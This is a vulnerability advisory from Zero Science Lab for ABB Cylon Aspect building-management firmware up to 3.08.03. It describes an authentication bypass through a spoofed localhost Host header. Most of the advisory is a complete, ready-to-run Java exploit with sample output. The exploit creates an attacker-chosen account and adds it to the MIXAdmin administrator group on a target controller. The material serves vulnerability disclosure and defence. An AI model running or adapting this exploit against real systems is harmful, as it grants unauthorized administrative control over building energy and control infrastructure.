ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin

Title: ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin Advisory ID: ZSL-2025-5939 Type: Local/Remote Impact: Security Bypass, System Access,…

/*

ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin

Vendor: ABB Ltd.

Product web page: https://www.global.abb

Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio

Firmware: <=3.08.03

Summary: ASPECT is an award-winning scalable building energy management

and control solution designed to allow users seamless access to their

building data through standard building protocols including smart devices.

Desc: ABB Cylon Aspect BMS/BAS is vulnerable to a critical flaw in the

AuthenticatedHttpServlet within its application server, enabling

remote attackers to bypass authentication by setting the Host:

127.0.0.1 header. This deceives the server into processing requests

as if they originate from localhost, granting unauthorized access

to privileged operations. Specifically, this vulnerability impacts

the UserManager and GroupManager servlets, allowing unauthenticated

attackers to create and remove users and groups without credentials.

The flaw stems from the servlet’s automatic authorization of localhost

requests as the aamuser account, exposing these sensitive functions

to both local and remote exploitation. By leveraging this bypass,

attackers can manipulate user and group configurations, potentially

escalating privileges or disrupting system access controls.

————————————————————————–

$ java -jar MixExploit.jar 192.168.73.31 testingus 123456 MIXAdmin

[+] User ‘testingus’ added successfully.

[+] Found MIXAdmin users: [aamuser, thricer, burj, redbull]

[+] User ‘testingus’ added to MIXAdmin.

[+] User ‘testingus’ found in UserManager.

[+] User ‘testingus’ is in MIXAdmin group.

————————————————————————–

Tested on: GNU/Linux 3.15.10 (armv7l)

GNU/Linux 3.10.0 (x86_64)

GNU/Linux 2.6.32 (x86_64)

Intel(R) Atom(TM) Processor E3930 @ 1.30GHz

Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz

PHP/7.3.11

PHP/5.6.30

PHP/5.4.16

PHP/4.4.8

PHP/5.3.3

AspectFT Automation Application Server

lighttpd/1.4.32

lighttpd/1.4.18

Apache/2.2.15 (CentOS)

OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)

OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

ErgoTech MIX Deployment Server 2.0.0

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic

Macedonian Information Security Research and Development Laboratory

Zero Science Lab – https://www.zeroscience.mk – @zeroscience

Advisory ID: ZSL-2025-5939

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5939.php

21.04.2024

*/

import java.io.*;

import java.net.*;

import java.util.*;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

public class MixExploit {

private static final String USER_MANAGER_URL = “/servlets/UserManager”;

private static final String GROUP_MANAGER_URL = “/servlets/GroupManager?selectedGroup=MIXAdmin”;

private static final int PORT = 7226;

public static void main(String[] args) {

if (args.length != 4) {

printUsage();

return;

}

String ip = args[0];

String newUser = args[1];

String password = args[2];

String group = args[3];

try {

if (!checkServerAndUser(ip, newUser)) {

System.out.println(“[-] Aborting: Either server is not AspectFT or user ‘” + newUser + “‘ already exists.”);

return;

}

addNewUser(ip, newUser, password);

System.out.println(“[+] User ‘” + newUser + “‘ added successfully.”);

List mixAdminUsers = enumerateUsers(ip);

System.out.println(“[+] Found MIXAdmin users: ” + mixAdminUsers);

addUsersToGroup(ip, mixAdminUsers, newUser, group);

System.out.println(“[+] User ‘” + newUser + “‘ added to ” + group + “.”);

Thread.sleep(3000);

verifyUserAdded(ip, newUser);

} catch (IOException e) {

System.out.println(“[-] Error: ” + e.getMessage());

} catch (InterruptedException e) {

System.out.println(“[-] Sleep interrupted: ” + e.getMessage());

}

}

private static void printUsage() {

System.out.println(“\n”);

System.out.println(” P R O J E C T”);

System.out.println(“”);

System.out.println(” .|”);

System.out.println(” | |”);

System.out.println(” |’| ._____”);

System.out.println(” ___ | | |. |’ .—\”|”);

System.out.println(” _ .-‘ ‘-. | | .–‘| || | _| |”);

System.out.println(” .-‘| _.| | || ‘-__ | | | || |”);

System.out.println(” |’ | |. | || | | | | || |”);

System.out.println(” ___| ‘-‘ ‘ \”\” ‘-‘ ‘-.’ ‘` |___”);

System.out.println(“░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ “);

System.out.println(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ “);

System.out.println(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ “);

System.out.println(“░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ “);

System.out.println(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ “);

System.out.println(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ “);

System.out.println(“░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░”);

System.out.println(” ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ “);

System.out.println(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░”);

System.out.println(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ “);

System.out.println(” ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░”);

System.out.println(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░”);

System.out.println(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░”);

System.out.println(” ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░”);

System.out.println(“\n”);

System.out.println(“Usage: java -jar MixExploit.jar “);

System.out.println(“Example: java -jar MixExploit.jar 192.168.73.31 testingus 123456 MIXAdmin”);

}

private static boolean checkServerAndUser(String ip, String newUser) throws IOException {

String response = sendGetRequest(ip, USER_MANAGER_URL);

if (!response.contains(“Server:AspectFT Automation Application Server”)) {

System.out.println(“[-] Server is not AspectFT Automation Application Server.”);

return false;

}

if (response.contains(“value='” + newUser + “‘”)) {

System.out.println(“[-] User ‘” + newUser + “‘ already exists in UserManager.”);

return false;

}

return true;

}

private static void addNewUser(String ip, String username, String password) throws IOException {

String url = USER_MANAGER_URL;

String postData = “newuser=” + URLEncoder.encode(username, “UTF-8”) +

“&password=” + URLEncoder.encode(password, “UTF-8”) +

“&passwordConfirm=” + URLEncoder.encode(password, “UTF-8”) +

“&Insert=Add”;

sendPostRequest(ip, url, postData);

}

private static List enumerateUsers(String ip) throws IOException {

String response = sendGetRequest(ip, USER_MANAGER_URL);

List mixAdminUsers = new ArrayList<>();

Pattern userPattern = Pattern.compile(“

.*?value='([^’]+)’.*? (.*?)

“, Pattern.DOTALL);

Pattern groupPattern = Pattern.compile(“GroupManager\\?selectedGroup=\\s*MIXAdmin”);

Matcher userMatcher = userPattern.matcher(response);

while (userMatcher.find()) {

String user = userMatcher.group(1);

String groups = userMatcher.group(2);

if (groupPattern.matcher(groups).find()) {

mixAdminUsers.add(user);

}

}

return mixAdminUsers;

}

private static void addUsersToGroup(String ip, List existingUsers, String newUser, String group) throws IOException {

String url = GROUP_MANAGER_URL;

String preventiveRight = new StringBuilder().append(existingUsers).append(“,”).append(newUser).toString();

StringBuilder newRight = new StringBuilder();

for (String user : existingUsers) {

newRight.append(URLEncoder.encode(user, “UTF-8”)).append(“,”);

}

newRight.append(URLEncoder.encode(newUser, “UTF-8”));

String postData = “groupName=” + URLEncoder.encode(group, “UTF-8”) +

“&removedLeft=” + URLEncoder.encode(newUser, “UTF-8”) +

“&removedRight=” + URLEncoder.encode(“”, “UTF-8”) +

“&addedLeft=” + URLEncoder.encode(“”, “UTF-8”) +

“&addedRight=” + URLEncoder.encode(newUser, “UTF-8”) +

“&newLeft=” + URLEncoder.encode(“”, “UTF-8”) +

“&newRight=” + newRight.toString() +

“&EditGroup=Save”;

sendPostRequest(ip, url, postData);

}

private static void verifyUserAdded(String ip, String username) throws IOException {

String response = sendGetRequest(ip, USER_MANAGER_URL);

if (response.contains(“value='” + username + “‘”)) {

System.out.println(“[+] User ‘” + username + “‘ found in UserManager.”);

if (response.contains(“MIXAdmin”)) {

System.out.println(“[+] User ‘” + username + “‘ is in MIXAdmin group.”);

} else {

System.out.println(“[-] User ‘” + username + “‘ not in MIXAdmin group.”);

}

} else {

System.out.println(“[-] User ‘” + username + “‘ not found in UserManager.”);

}

}

private static String sendPostRequest(String ip, String path, String postData) throws IOException {

Socket socket = new Socket(ip, PORT);

OutputStream out = socket.getOutputStream();

BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));

String request = “POST ” + path + ” HTTP/1.1\r\n” +

“Host: localhost\r\n” +

“Content-Type: application/x-www-form-urlencoded\r\n” +

“Content-Length: ” + postData.length() + “\r\n” +

“Connection: close\r\n” +

“\r\n” +

postData;

out.write(request.getBytes(“UTF-8”));

out.flush();

StringBuilder response = new StringBuilder();

String line;

while ((line = in.readLine()) != null) {

response.append(line).append(“\n”);

}

socket.close();

return response.toString();

}

private static String sendGetRequest(String ip, String path) throws IOException {

Socket socket = new Socket(ip, PORT);

OutputStream out = socket.getOutputStream();

BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));

String request = “GET ” + path + ” HTTP/1.1\r\n” +

“Host: localhost\r\n” +

“Connection: close\r\n” +

“\r\n”;

out.write(request.getBytes(“UTF-8”));

out.flush();

StringBuilder response = new StringBuilder();

String line;

while ((line = in.readLine()) != null) {

response.append(line).append(“\n”);

}

socket.close();

return response.toString();

}

}